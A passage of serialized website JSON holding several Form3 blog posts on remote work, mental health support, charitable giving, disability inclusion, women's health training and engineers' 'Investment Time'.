UK.",[],{"link_type":491,"key":42712,"url":42713,"target":493},"f6cc257c-3f58-4930-8bdd-16ce1ad756a6","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjessica-money-39215991\u002F",[42715,42735],{"variation":437,"version":438,"items":42716,"primary":42717,"id":42734,"slice_type":468,"slice_label":5},[],{"body":42718},[42719,42721,42725,42728,42732],{"type":988,"text":18334,"spans":42720,"direction":445},[],{"type":25,"text":42722,"spans":42723,"direction":445},"A trust culture",[42724],{"start":398,"end":8472,"type":593},{"type":25,"text":42726,"spans":42727,"direction":445},"Remote work for Form3 is built on a foundation of trust. We defy the traditional 9 to 5 structure and provide our team with the ability to work flexibly 100% of the time, enabling them to juggle life’s commitments, celebrations, and challenges. Whether it’s helping a loved one attend an appointment, taking the dog out for a walk at 11am, or running some personal errands; we understand that sometimes life gets in the way, and that’s ok! We don’t want our team to miss the moments that are important to them, and so we collectively share a trust that empowers this. This means absolutely no clock watching nor micro-management!",[],{"type":25,"text":42729,"spans":42730,"direction":445},"Transparency",[42731],{"start":398,"end":2707,"type":593},{"type":25,"text":18348,"spans":42733,"direction":445},[],"rich_text$de0c119a-ddb2-4d7e-a15a-f2dfe6b49252",{"variation":437,"version":438,"items":42736,"primary":42737,"id":42765,"slice_type":468,"slice_label":5},[],{"body":42738},[42739,42741,42744,42747,42750,42754,42757,42762],{"type":988,"text":18356,"spans":42740,"direction":445},[],{"type":25,"text":18359,"spans":42742,"direction":445},[42743],{"start":398,"end":1131,"type":593},{"type":25,"text":42745,"spans":42746,"direction":445},"We want our team to feel and be their absolute best when working for us, so we’re not fussed if they would prefer to work on a hammock or a desk. Where our team is happiest and most productive is perfectly good enough for us!",[],{"type":25,"text":42748,"spans":42749,"direction":445},"We recognise that our team have different needs and preferences when it comes to their remote work set-up.  This is why we use Hofy as our remote work partner to provide our team with equipment to set up their working spaces in whichever way suits them most.",[],{"type":25,"text":42751,"spans":42752,"direction":445},"Staying connected",[42753],{"start":398,"end":6911,"type":593},{"type":25,"text":42755,"spans":42756,"direction":445},"Connecting is important to us, whether it happens virtually or in-person. Our team are located across 26 countries, with a view that we’ll likely welcome colleagues in other locations in future. It’s so important that connection is centred at our core and that we take an approach that is inclusive of all time zones and cultural differences where possible.",[],{"type":25,"text":42758,"spans":42759,"direction":445},"Slack is our primary communication tool; it is engrained in our culture. We love the use of emojis (we’ve even created our own!) and the natural ease and flow of conversation. We recognise that the social element can be missing from remote work and so we have social channels dedicated to topics such as music, pets, football and even gourmet food! This allows our team to invest and experience their passion with others and establish a personal connection to Form3. Our Slack channels also support our asynchronous communications perfectly. You can read more on asynchronous communication at Form3 and the benefits for remote teams on our previous blog post here.",[42760],{"start":18379,"end":18380,"type":489,"data":42761},{"link_type":491,"url":18382,"target":493},{"type":25,"text":42763,"spans":42764,"direction":445},"We can’t forget the importance of in-person and office collaboration however, and frankly we love an excuse to get everyone together for a social. We make it our aim to schedule in-person meetups at regular intervals, sometimes even in an exotic location!",[],"rich_text$1c23e394-b3f9-48fe-a66a-810432ecc638",{"id":42767,"uid":15789,"type":42493,"data":42768},"alz1sREAAC0AUWsD",{"title":15791,"excerpt":15792,"card_image":42769,"published_date":2749,"reading_time":643,"tag":42772,"dek":15792,"featured_image":42773,"about_form3":42774,"client_about_heading":5,"client_about_body":42775,"author_name":42776,"author_title":42701,"author_photo":42777,"author_bio":42782,"author_linkedin":42786,"slices":42789,"meta_title":15791,"meta_description":15792},{"dimensions":42770,"alt":413,"copyright":5,"url":414,"id":415,"edit":42771},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"Wellbeing",{},[],[],"Ruby Kumashie",{"dimensions":42778,"alt":42776,"copyright":5,"url":42779,"id":42780,"edit":42781},{"width":5080,"height":5081},"\u002F_prismic-media\u002F53ae7af569d173df-I4VSh2IqgfRpAQRS_989e4030-ab37-4444-9c3e-e4c5e77.png","I4VSh2IqgfRpAQRS",{"x":398,"y":398,"zoom":399,"background":400},[42783],{"type":25,"text":42784,"spans":42785},"Ruby Kumashie is a People Partner & Mental Health First Aider at Form3, based in the UK.",[],{"link_type":491,"key":42787,"url":42788,"target":493},"403f38b0-db63-4c8a-9a2d-8252f6e89f68","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fruby-kumashie-74952a85\u002F",[42790,42802,42813,42826],{"variation":437,"version":438,"items":42791,"primary":42792,"id":42801,"slice_type":468,"slice_label":5},[],{"body":42793},[42794,42796],{"type":988,"text":15810,"spans":42795,"direction":445},[],{"type":25,"text":42797,"spans":42798,"direction":445},"With so much going on in the world, we understand that there are various factors that can affect an individual’s mental health and wellbeing. It is estimated that 1 in 6.8 people experience mental health problems in the workplace, which can limit someone’s ability to carry out their daily activities or negatively impact their performance at work. Being a remote first company, our social interactions are different to the traditional office-based workforce and whilst we work hard to ensure we don’t lose human connection through using communication tools such as Slack and Zoom, we realise that more proactive support is required for our team.",[42799],{"start":9050,"end":754,"type":489,"data":42800},{"link_type":491,"url":15817,"target":5106},"rich_text$64bf1a6d-733a-49e3-bf93-18f86822113d",{"variation":437,"version":438,"items":42803,"primary":42804,"id":42812,"slice_type":468,"slice_label":5},[],{"body":42805},[42806,42808,42810],{"type":988,"text":15824,"spans":42807,"direction":445},[],{"type":25,"text":15827,"spans":42809,"direction":445},[],{"type":25,"text":15830,"spans":42811,"direction":445},[],"rich_text$989447d3-73e3-479c-92d2-39a213dbb935",{"variation":437,"version":438,"items":42814,"primary":42815,"id":42825,"slice_type":468,"slice_label":5},[],{"body":42816},[42817,42819],{"type":988,"text":15838,"spans":42818,"direction":445},[],{"type":25,"text":42820,"spans":42821,"direction":445},"We are proud to champion flexible working. With the removal of traditional 9-5 working hours, we aim to encourage a work-life balance that enables our team to work from wherever they feel happiest and most productive. By encouraging a flexible approach to working hours we believe this will help individuals to schedule their working days in a way they works best for them to maintain this work-life balance. While we operate as a remote first business, we know that working remotely can reduce social interaction opportunities. This is why we pay a lot of attention to ways we can keep connected remotely – our recent blog post focused on this topic, and you can read it here.",[42822],{"start":8100,"end":15844,"type":489,"data":42823},{"link_type":491,"url":42824,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fkeeping-connected-in-a-remote-first-business","rich_text$cbcb1b04-7c8d-439f-bc4d-c67ece8e7e13",{"variation":437,"version":438,"items":42827,"primary":42828,"id":42835,"slice_type":468,"slice_label":5},[],{"body":42829},[42830,42832],{"type":988,"text":15857,"spans":42831,"direction":445},[],{"type":25,"text":42833,"spans":42834,"direction":445},"After much consideration, we have decided to implement ‘Spill’ at Form3. Spill provides all-in-one mental health support for companies via Slack. This will allow our employees to speak with qualified therapists over video, phone or message, giving them the flexibility to seek support in a way that is most comfortable for them. Not only does this approach provide quick and easy access for our team, but it also prevents the delays that often come with traditional Employee Assistance Programmes (EAP) where employees often have to wait for a referral to receive counselling support. We also believe that good line management is crucial to supporting employee mental health. Whilst EAP services are tailored to individuals, Spill supports the company as a whole by also training managers in handling difficult and emotional situations, enabling them to further support their teams' and intervene in the early stages.",[],"rich_text$3270b817-532d-4ab4-adfb-f36fd5daf2d0",{"id":42837,"uid":18390,"type":42493,"data":42838},"alz1uxEAACwAUWtD",{"title":18392,"excerpt":42839,"card_image":42840,"published_date":18399,"reading_time":2375,"tag":42499,"dek":42843,"featured_image":42844,"about_form3":42845,"client_about_heading":5,"client_about_body":42846,"author_name":5,"author_title":5,"author_photo":42847,"author_bio":42848,"author_linkedin":42849,"slices":42850,"meta_title":18392,"meta_description":18413},"We always want to give back each year — the amount we give might change, depending on our profit, and our budgets, but we’ll always give back. It’s a habit we care about building and continuing. Our ”Caring deeply” principle extends outside of Form3. And so, one of our 2021 projects was to set ourselves up to give back!",{"dimensions":42841,"alt":413,"copyright":5,"url":414,"id":415,"edit":42842},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"Our ”Caring deeply” principle extends outside of Form3. And so, one of our 2021 projects was to set ourselves up to give back!We always want to give back each year — the amount we give might change, depending on our profit, and our budgets, but we’ll always give back. It’s a habit we care about building and continuing.Earlier last year, we formed relationships with two social partners who are non-profit organisations trying to address the gender imbalance in technology. These two partners align with our mission and values, and support causes which we are passionate about. With them, we hope to make the fintech community more inclusive and help people from all backgrounds enter and thrive in the technology space.",{},[],[],{},[],{"link_type":434},[42851,42862,42875],{"variation":437,"version":438,"items":42852,"primary":42853,"id":42861,"slice_type":468,"slice_label":5},[],{"body":42854},[42855,42857,42859],{"type":988,"text":18424,"spans":42856,"direction":445},[],{"type":25,"text":18427,"spans":42858,"direction":445},[],{"type":25,"text":18430,"spans":42860,"direction":445},[],"rich_text$c775306b-1317-4d02-a78d-0a8e2bbec532",{"variation":437,"version":438,"items":42863,"primary":42864,"id":42874,"slice_type":468,"slice_label":5},[],{"body":42865},[42866,42868,42871],{"type":988,"text":18438,"spans":42867,"direction":445},[],{"type":25,"text":42869,"spans":42870,"direction":445},"ReDi School is a non-profit tech school for locals and newcomers without access to digital education. They were set up in 2016 after they noticed that refugees in Germany had tech experience from their home countries but don’t have the resources to make use of them in the European job market. The goal of the school is to give minorities an opportunity to develop their coding and tech skills and enter the tech workspace. They do this by offering the students high quality coding and basic computer courses in combination with a unique career program, such as HR summits.",[],{"type":25,"text":42872,"spans":42873,"direction":445},"Stemettes is an award-winning social enterprise which works across the UK and Ireland. Their goal is to inspire and support young women and young nonbinary people into Science, Technology, Engineering and Maths careers (known collectively as STEM). The focus here is organising coding events for young girls and women with hopes to encourage girls to go into the tech industry by teaching them from a young age about how fun technology, science and maths can be. With this they are hoping to make the tech space more diverse and empower girls to dominate it!",[],"rich_text$e753cf3f-3cd2-46cb-b784-81de92f7e118",{"variation":437,"version":438,"items":42876,"primary":42877,"id":42897,"slice_type":468,"slice_label":5},[],{"body":42878},[42879,42881,42884,42886,42888,42890,42892,42895],{"type":746,"text":18452,"spans":42880},[],{"type":25,"text":42882,"spans":42883},"Since starting this project, we have been able to get involved in multiple different ways.",[],{"type":25,"text":18458,"spans":42885},[],{"type":25,"text":18461,"spans":42887},[],{"type":25,"text":18464,"spans":42889},[],{"type":25,"text":18467,"spans":42891},[],{"type":25,"text":42893,"spans":42894},"In Q3 of 2021, we raised 1,300 € in volunteering signups and 275 € in referrals. In Q4 of 2021, we raised 2,20 € in volunteering signups and 400 € in referrals. We also made an ad hoc donation of 2,550 €!",[],{"type":25,"text":18473,"spans":42896},[],"rich_text$e058cc6f-678d-43c4-a329-fdc1db7c7b7d",{"id":42899,"uid":16056,"type":42493,"data":42900},"alz1sxEAACcAUWsQ",{"title":16058,"excerpt":42901,"card_image":42902,"published_date":16066,"reading_time":2375,"tag":42560,"dek":42905,"featured_image":42906,"about_form3":42907,"client_about_heading":5,"client_about_body":42908,"author_name":16059,"author_title":42909,"author_photo":42910,"author_bio":42916,"author_linkedin":42917,"slices":42918,"meta_title":16058,"meta_description":42901},"At Form3 we take a proactive approach to staying connected and take deliberate actions to build and maintain relationships. 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In my experience, I spoke for my love of music and sport, and I was invited to special interest groups and having meaningful conversations within moments. Any feelings of isolation and uncertainty as a new starter at a remote first company were quickly pushed aside.",[],{"type":25,"text":42959,"spans":42960,"direction":445},"This is how we try to stay connected at Form3, but we expect that we’ll build on this more over time. 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Updates were shared regularly, which kept everyone on their toes.",[],{"type":25,"text":43883,"spans":43884,"direction":445},"We also created a dedicated emoji (thank you, Kevin in Learning & Development!) to get our team to update their Slack status for the week and join the movement.",[],"rich_text$21381377-7d43-464f-9704-22fd7cf0e8de",{"variation":437,"version":438,"items":43887,"primary":43888,"id":43905,"slice_type":468,"slice_label":5},[],{"body":43889},[43890,43893,43896,43899,43902],{"type":988,"text":43891,"spans":43892,"direction":445},"Number crunching",[],{"type":25,"text":43894,"spans":43895,"direction":445},"Needless to say, the competition was on from the start.",[],{"type":25,"text":43897,"spans":43898,"direction":445},"Our Finance Team took the lead (from the beginning?), with an average 6.3 trees planted per head. Could this have been because that week, they took as many walking meetings as possible?",[],{"type":25,"text":43900,"spans":43901,"direction":445},"It was great to see everyone participating and use this as encouragement even if it was for the lunchtime walk\u002F run\u002F cycle that is usually avoided.",[],{"type":25,"text":43903,"spans":43904,"direction":445},"In total, we achieved +460% more than our initial goal – we are proud to be planting 2,309 trees!",[],"rich_text$d1aeb50b-adb5-4fef-b8e9-338af9e87ffe",{"variation":437,"version":438,"items":43907,"primary":43908,"id":43919,"slice_type":468,"slice_label":5},[],{"body":43909},[43910,43913,43916],{"type":988,"text":43911,"spans":43912,"direction":445},"What’s next",[],{"type":25,"text":43914,"spans":43915,"direction":445},"Social interactions are key, even in a remote company – you can read more how we keep connected in a remote business here.",[],{"type":25,"text":43917,"spans":43918,"direction":445},"Our Fun3 social calendar ensures not only ensures Form3 invests in ESG (which is crucial) but also ensures our team have enough opportunities to interact and spend time with the team. We have at least 1 event planned per month.",[],"rich_text$28560537-aa4e-4780-83c2-d3624a5df04e",{"variation":437,"version":527,"items":43921,"primary":43922,"id":43940,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":43923,"body":43924,"cta_label":5,"cta_link":43928,"aside_type":533,"aside_image":43929,"aside_video":43935,"aside_video_poster":43936,"aside_video_reduced_motion":43937,"aside_video_url":5,"aside_embed":43938,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":43939,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[43925],{"type":25,"text":43926,"spans":43927,"direction":445},"In January, we celebrated International Education Day – but rather than keeping it to 1 day (24th January), we decided to extend it for a whole week...",[],{"link_type":434},{"dimensions":43930,"alt":5,"copyright":5,"url":43932,"id":43933,"edit":43934},{"width":501,"height":43931},430,"\u002F_prismic-media\u002Fbb64a3ec7c3e0a97-s6Z5ybpr73o1Ty0Y_473e78a8-eb0a-4d81-b933-5eba9c2.png","s6Z5ybpr73o1Ty0Y",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$14090286-1240-4cab-b1d0-25154b0ebeb3",{"id":43942,"uid":43943,"type":42493,"data":43944},"alz1fREAAC0AUWny","how-form3-is-shaping-a-more-inclusive-future-for-people",{"title":43945,"excerpt":43946,"card_image":43947,"published_date":43953,"reading_time":4603,"tag":42499,"dek":43954,"featured_image":43955,"about_form3":43960,"client_about_heading":5,"client_about_body":43961,"author_name":43962,"author_title":43963,"author_photo":43964,"author_bio":43969,"author_linkedin":43970,"slices":43973,"meta_title":43945,"meta_description":43946},"How Form3 is shaping a more inclusive future for people with disabilities","In this blog, I wanted to focus on ‘disability’ from my own personal and professional perspective as this is one area of DEI&B that I don’t feel gets the attention it so clearly deserves. I will discuss the main benefits Form3 offers which I believe make Form3 a top employer for people with disabilities.",{"dimensions":43948,"alt":43949,"copyright":5,"url":43950,"id":43951,"edit":43952},{"width":412,"height":412},"How Form3 is shaping a more inclusive future for People with disabilities","\u002F_prismic-media\u002Fb43777719d7e58fb-UPgANZlU8GWznmL__how-form3-is-shaping-a-more-inc.png","UPgANZlU8GWznmL_",{"x":398,"y":398,"zoom":399,"background":400},"2023-03-31","I’d hope by now you’re all aware of the MANY advantages of building a diverse workforce, these are well documented, and research is undeniable!  One of the frustrations I’ve witnessed in the technology space over recent years is the narrow DEI&B strategy businesses often take. Often the focus is on gender diversity, meaning these businesses place less emphasis on building a more diverse team in other areas, such as: race\u002Fethnicity, socioeconomic status and background, sexual orientation etc.  In this blog, I wanted to focus on ‘disability’ from my own personal and professional perspective as this is one area of DEI&B that I don’t feel gets the attention it so clearly deserves. I will discuss the main benefits Form3 offers which I believe make Form3 a top employer for people with disabilities.",{"dimensions":43956,"alt":43949,"copyright":5,"url":43957,"id":43958,"edit":43959},{"width":501,"height":23861},"\u002F_prismic-media\u002F3731cce52a639345-FOGjvL7M8CFFmJlr_8fa9b779-3a60-4ce6-bb81-899f654.png","FOGjvL7M8CFFmJlr",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Sean Hynan","Head of Talent",{"dimensions":43965,"alt":43962,"copyright":5,"url":43966,"id":43967,"edit":43968},{"width":5080,"height":5081},"\u002F_prismic-media\u002F6cbc0282f1e75ed1-w61CdTMzNnyxHa7t_57708b60-3ea0-42d5-b7c3-3eddef2.png","w61CdTMzNnyxHa7t",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":43971,"url":43972,"target":493},"222e24b2-d1fc-4e73-8465-583f2c419732","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fseanhynan\u002F",[43974,43985,43999,44041],{"variation":437,"version":438,"items":43975,"primary":43976,"id":43984,"slice_type":468,"slice_label":5},[],{"body":43977},[43978,43981],{"type":988,"text":43979,"spans":43980,"direction":445},"Personal (I’ll keep it brief) 💪",[],{"type":25,"text":43982,"spans":43983,"direction":445},"It’s not something I am fully comfortable talking about, but I am disabled! Around 10 years ago I had a serious spinal surgery (I’ll spare you the gory details). This unfortunately left me with mobility issues. I’m lucky enough to not need a wheelchair day-to-day and can walk short distances unaided but everyday tasks I once took for granted are now a challenge. ",[],"rich_text$e58b4928-04f0-4960-9add-13f4f25e8543",{"variation":437,"version":438,"items":43986,"primary":43987,"id":43998,"slice_type":468,"slice_label":5},[],{"body":43988},[43989,43992,43995],{"type":988,"text":43990,"spans":43991,"direction":445},"Professional🚀",[],{"type":25,"text":43993,"spans":43994,"direction":445},"Prior to my operation I was training to be a P.E teacher, for obvious reasons I needed to change my career aspirations. I was lucky enough to secure a graduate recruiter role at Hays. Kudos to Hays, choosing a recent graduate who had only just got out of hospital and was re-learning to walk (on crutches) over the massive pool of other great candidates. I instantly fell in love with the world of recruitment and haven't looked back since. ",[],{"type":25,"text":43996,"spans":43997,"direction":445},"After working in both corporate and boutique recruitment agencies for several years, I decided to move in-house joined Form3 in my first ever internal role. This is where the real journey began, and I have now been heading up the awesome Talent Team for close to 5 years! ",[],"rich_text$34cb73e8-c7f1-465c-8619-d6a1ea6d6a44",{"variation":437,"version":438,"items":44000,"primary":44001,"id":44040,"slice_type":468,"slice_label":5},[],{"body":44002},[44003,44006,44009,44012,44016,44019,44023,44026,44030,44033,44037],{"type":988,"text":44004,"spans":44005,"direction":445},"Disability & Inclusion at Form3:",[],{"type":25,"text":44007,"spans":44008,"direction":445},"Working in the recruitment industry, the companies I have worked for have been very understanding and supportive. It certainly wasn’t easy building a career in an industry with very little physically disabled employees but in general I have no complaints.  ",[],{"type":25,"text":44010,"spans":44011,"direction":445},"However, it was only when I joined Form3 that I realised what a truly inclusive business should look like, and it changed my life. Although being inclusive stretches far beyond employee benefits, I wanted to concentrate on these: ",[],{"type":3373,"text":44013,"spans":44014,"direction":445},"Remote-First 🏡 ",[44015],{"start":398,"end":1951,"type":593},{"type":25,"text":44017,"spans":44018,"direction":445},"As someone who is physically disabled, this was a game changer. This not only reduces the stress\u002Fchallenge of traveling to work\u002Fback, but it means I can work in an environment I’m truly comfortable in. Form3 has never forced to travel and when I do, they are always amazing when it comes to travel arrangement and accessibility in general.  ",[],{"type":3373,"text":44020,"spans":44021,"direction":445},"Flexible Working 2.0 🚶‍♂️ ",[44022],{"start":398,"end":7460,"type":593},{"type":25,"text":44024,"spans":44025,"direction":445},"The flexibility you get at Form3 is so good that I often find it challenging to explain as I worry that I won’t do it justice. In my opinion you need to witness it first-hand! The flexibility enables me to book doctors\u002Fphysio appointments at any time of the day, I don’t even need to check my diary. For me personally, I also like to work my diary around short walks in the day for my physical\u002Fmental wellbeing. ",[],{"type":3373,"text":44027,"spans":44028,"direction":445},"Health & Wellbeing Allowance 🏋️‍♂️ ",[44029],{"start":398,"end":871,"type":593},{"type":25,"text":44031,"spans":44032,"direction":445},"We have a flexible H&W allowance, which in my opinion works well as, let’s face it, we all have different requirements and needs. For me, I was able to use the allowance to build a home “gym” which I use for physiotherapy. I’ve also bought an apple watch to track my activity levels (steps etc). ",[],{"type":3373,"text":44034,"spans":44035,"direction":445},"Home Office Allowance 💻 ",[44036],{"start":398,"end":703,"type":593},{"type":25,"text":44038,"spans":44039,"direction":445},"Linked to remote-first, building an environment you feel comfortable in becomes even more important when you’re physically disabled. I’ve been able to kit out my home office with a sit-stand desk, second monitor, comfortable chair etc. ",[],"rich_text$26082150-8697-4ade-b9b2-38802a7f6979",{"variation":437,"version":438,"items":44042,"primary":44043,"id":44056,"slice_type":468,"slice_label":5},[],{"body":44044},[44045,44048],{"type":25,"text":44046,"spans":44047},"As a recognised ‘disability confident employer’ Form3 continue to look at what other benefits we can offer to support this group of employees. As a Talent Team, we’re also targeting ourselves on hiring more disabled individuals, I’ll save the “how” for my next blog I think 😉  ",[],{"type":25,"text":44049,"spans":44050},"If you would like to hear more about Form3 and the benefits of working here, please do contact me directly via email, Sean.hynan@form3.tech, or connect with me on LinkedIn.",[44051,44054],{"start":3402,"end":9287,"type":489,"data":44052},{"link_type":491,"url":44053,"target":493},"mailto:Sean.hynan@form3.tech",{"start":9050,"end":754,"type":489,"data":44055},{"link_type":491,"url":43972,"target":493},"rich_text$c1bd0e4c-c037-4ccd-923f-61819a2495a1",{"id":44058,"uid":44059,"type":42493,"data":44060},"alz1YxEAAC4AUWlr","womens-health",{"title":44061,"excerpt":44062,"card_image":44063,"published_date":44068,"reading_time":4603,"tag":42772,"dek":44069,"featured_image":44070,"about_form3":44075,"client_about_heading":5,"client_about_body":44076,"author_name":5,"author_title":5,"author_photo":44077,"author_bio":44078,"author_linkedin":44079,"slices":44080,"meta_title":44061,"meta_description":44062},"Women’s health in the workplace","At Form3 we recognise that our team members face significant barriers linked to their sexual and reproductive health, and it’s our responsibility to make meaningful changes to support them.",{"dimensions":44064,"alt":44061,"copyright":5,"url":44065,"id":44066,"edit":44067},{"width":412,"height":412},"\u002F_prismic-media\u002F3b246956552b8b41-ZWmR-Bo0AO9usiGT_womens-health.png","ZWmR-Bo0AO9usiGT",{"x":398,"y":398,"zoom":399,"background":400},"2023-07-24","We will all have varying health conditions throughout our lives, and conversations in the workplace surrounding these should be fully open and encouraged. However, when it comes to period pain and other common health conditions typically experienced by women, things tend to get uncomfortable.At Form3 we recognise that our team members face significant barriers linked to their sexual and reproductive health, and it’s our responsibility to make meaningful changes to support them. We want to create a culture of empathy and acceptance, where Women’s Health can be prioritised and in turn, reduce the associated stigma.",{"dimensions":44071,"alt":5,"copyright":5,"url":44072,"id":44073,"edit":44074},{"width":14253,"height":14254},"\u002F_prismic-media\u002Fce2527dd2619ff1a-W2dXqK0_MFaO-VuL_09438f68-de28-4e40-9611-3bc43a7.png","W2dXqK0_MFaO-VuL",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[44081,44113,44152],{"variation":437,"version":438,"items":44082,"primary":44083,"id":44112,"slice_type":468,"slice_label":5},[],{"body":44084},[44085,44088,44091,44094,44100,44103,44109],{"type":746,"text":44086,"spans":44087},"Women’s Health Training at Form3",[],{"type":25,"text":44089,"spans":44090},"Educating and upskilling our team is one of the best ways to achieve this, and as Senior Learning & Development Partner, I was excited to design a training intervention to help.",[],{"type":25,"text":44092,"spans":44093},"As a male member of the team I  had my eyes opened whilst conducting research. I can admit that I didn't know about many of the conditions my female colleagues experience and the significant impact it can have on their day-to-day working life. ",[],{"type":25,"text":44095,"spans":44096},"This lack of knowledge meant that I’d be unprepared to discuss challenges such as menopause or fertility and would likely shy away from the conversation. Leading to a realisation that I was inadvertently reinforcing workplace taboos. Indeed, a recent Women’s Health Survey found that only 1 in 3 respondents felt comfortable talking about health issues in their workplace.",[44097],{"start":9258,"end":767,"type":489,"data":44098},{"link_type":491,"url":44099},"https:\u002F\u002Fassets.publishing.service.gov.uk\u002Fgovernment\u002Fuploads\u002Fsystem\u002Fuploads\u002Fattachment_data\u002Ffile\u002F1043211\u002Fresults-of-the-womens-health-lets-talk-about-it-survey.pdf",{"type":25,"text":44101,"spans":44102},"Do you know the difference between menopause and perimenopause? What PCOS stands for? Have any idea about the scale and complexity of an IVF cycle? These are some of the questions that we want our team to be able to confidently answer.",[],{"type":25,"text":44104,"spans":44105},"We recently launched our Women’s Health training course at Form3, in alignment with International Day of Action for Women’s Health. This is an event where women, girls, advocates, and allies take action and stand up for sexual and reproductive rights for what they are: ‘an unchallengeable part of our human rights’. Initial feedback from our course has been overwhelmingly positive, and it’s great to see so many team members are choosing to complete it.",[44106],{"start":5321,"end":10956,"type":489,"data":44107},{"link_type":491,"url":44108,"target":493},"http:\u002F\u002Fwww.may28.org\u002F",{"type":25,"text":44110,"spans":44111},"Personally, one of my key takeaways from the training is not to allow a lack of confidence or fear of offending someone get in the way of having an open and supportive conversation. So, whilst it is beneficial to be equipped with knowledge of this subject, it’s even more important to ask if someone is okay, and be ready to listen.",[],"rich_text$c1f9c386-c788-4195-bcc0-928c0f6e15db",{"variation":437,"version":438,"items":44114,"primary":44115,"id":44151,"slice_type":468,"slice_label":5},[],{"body":44116},[44117,44120,44123,44126,44130,44133,44136,44139,44142,44145,44148],{"type":746,"text":44118,"spans":44119},"What are we doing to help?",[],{"type":25,"text":44121,"spans":44122},"At Form3 we deeply value the contribution that each and every one of us brings; and we want to ensure that our team has the support they need to be happy and healthy at work. The challenges we discuss in our training can be complex and personal, but no one should have to go through them alone.",[],{"type":25,"text":44124,"spans":44125},"Our Form3 values ‘care deeply’ and ‘everyone matters’ are really called to action when speaking about Women’s Health, but we want to ensure an inclusive culture is not only discussed but which is lived and breathed on a daily basis.",[],{"type":25,"text":44127,"spans":44128},"Here are some of the ways we’ve done this recently:",[44129],{"start":398,"end":1250,"type":593},{"type":3373,"text":44131,"spans":44132},"Demonstrating a genuine approach to flexible working",[],{"type":3373,"text":44134,"spans":44135},"Providing access to Mental Health resources including courses of therapy",[],{"type":3373,"text":44137,"spans":44138},"Establishing our internal community ‘Women Who Form3’",[],{"type":3373,"text":44140,"spans":44141},"Putting in place progressive policies and processes",[],{"type":3373,"text":44143,"spans":44144},"Holding awareness events through our social calendar, which align with our ESG strategy",[],{"type":3373,"text":44146,"spans":44147},"Launching Women’s Health eLearning course",[],{"type":3373,"text":44149,"spans":44150},"Offering People Manager support and development",[],"rich_text$469978b9-c28f-43df-a60f-6cf257b2d735",{"variation":437,"version":438,"items":44153,"primary":44154,"id":44163,"slice_type":468,"slice_label":5},[],{"body":44155},[44156,44159],{"type":25,"text":44157,"spans":44158},"We are proud to be making progress but recognise this is only the first step. Form3 is still growing and learning alongside our team, and we actively encourage feedback to iterate and improve. ",[],{"type":25,"text":44160,"spans":44161},"We are determined that anyone who identifies as a woman has choices, is treated with compassion, and can thrive at work.",[44162],{"start":398,"end":5702,"type":593},"rich_text$e2a24a9d-7c5d-4356-b7b6-7d4f03f7871c",{"id":44165,"uid":44166,"type":42493,"data":44167},"alz1WREAAC0AUWk5","investment-time",{"title":44168,"excerpt":44169,"card_image":44170,"published_date":15029,"reading_time":2375,"tag":42772,"dek":44169,"featured_image":44175,"about_form3":44180,"client_about_heading":5,"client_about_body":44181,"author_name":44182,"author_title":44183,"author_photo":44184,"author_bio":44189,"author_linkedin":44190,"slices":44193,"meta_title":44168,"meta_description":44244},"Why we love \"Investment Time\" at Form3","Every Wednesday afternoon, our Engineers take part in \"Investment Time\", a practice which has been in place at Form3 for over the last 12 months.",{"dimensions":44171,"alt":44168,"copyright":5,"url":44172,"id":44173,"edit":44174},{"width":412,"height":412},"\u002F_prismic-media\u002Fc320f024514d5774-k2cQVdOGlVKja9tL_investment-time.png","k2cQVdOGlVKja9tL",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":44176,"alt":5,"copyright":5,"url":44177,"id":44178,"edit":44179},{"width":423,"height":424},"\u002F_prismic-media\u002F5b7a184b6eecae13-ruqhO8Nx4KPvcX_a_21155c02-15ed-429b-98f3-94d9746.png","ruqhO8Nx4KPvcX_a",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Olivia Harrison","Senior People Partner based in the UK.",{"dimensions":44185,"alt":44182,"copyright":5,"url":44186,"id":44187,"edit":44188},{"width":5080,"height":5081},"\u002F_prismic-media\u002Fb1a70f899a5ab1a4-nqhMDqe3g-uQ2kQo_6bccd493-4140-4d93-a3e2-220be57.png","nqhMDqe3g-uQ2kQo",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":44191,"url":44192,"target":493},"1c89af25-c629-40d5-a51b-4473f7355db5","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Folivia-harrison-430a0160\u002F",[44194,44233],{"variation":437,"version":438,"items":44195,"primary":44196,"id":44232,"slice_type":468,"slice_label":5},[],{"body":44197},[44198,44200,44203,44206,44209,44213,44220,44223,44226,44229],{"type":25,"text":44169,"spans":44199},[],{"type":25,"text":44201,"spans":44202},"This is a dedicated non-work and non-meeting time for the team to engage in creative projects of their choosing, connecting to company or team goals or benefiting learning, which in turn will add business value in the future. Whilst deliverables are a bonus, they are not a key requirement of “Investment Time”, as it’s equally important for the team to take a break to self-learn and innovate (essentially, test and make mistakes) - it’s all part and parcel of the rich culture and experience of working at Form3.",[],{"type":25,"text":44204,"spans":44205},"During \"Investment Time\", Engineers will embark on an array of activities that are driven by them. Examples of this include implementing tooling to increase productivity, a process or an automated activity that helps to solve a challenge encountered by Form3 on a day-to-day basis, or perhaps conducting research for further understanding of a technology that will be utilised soon.",[],{"type":25,"text":44207,"spans":44208},"With this, Wednesday afternoons are respected by other business functions within Form3, as it’s widely known that this is dedicated “Investment Time” for Engineers to innovate on challenges experienced, enhance learning, and collaborate with others outside of their team that they wouldn’t ordinarily work with. This also fosters the vibrant virtual community we have created, having the opportunity to build a strong network and form new relationships with peers across the Engineering function at Form3; a concept Joseph Woodward (Lead Engineer at Form3) advises is invaluable.",[],{"type":25,"text":44210,"spans":44211},"Andy Kuszyk 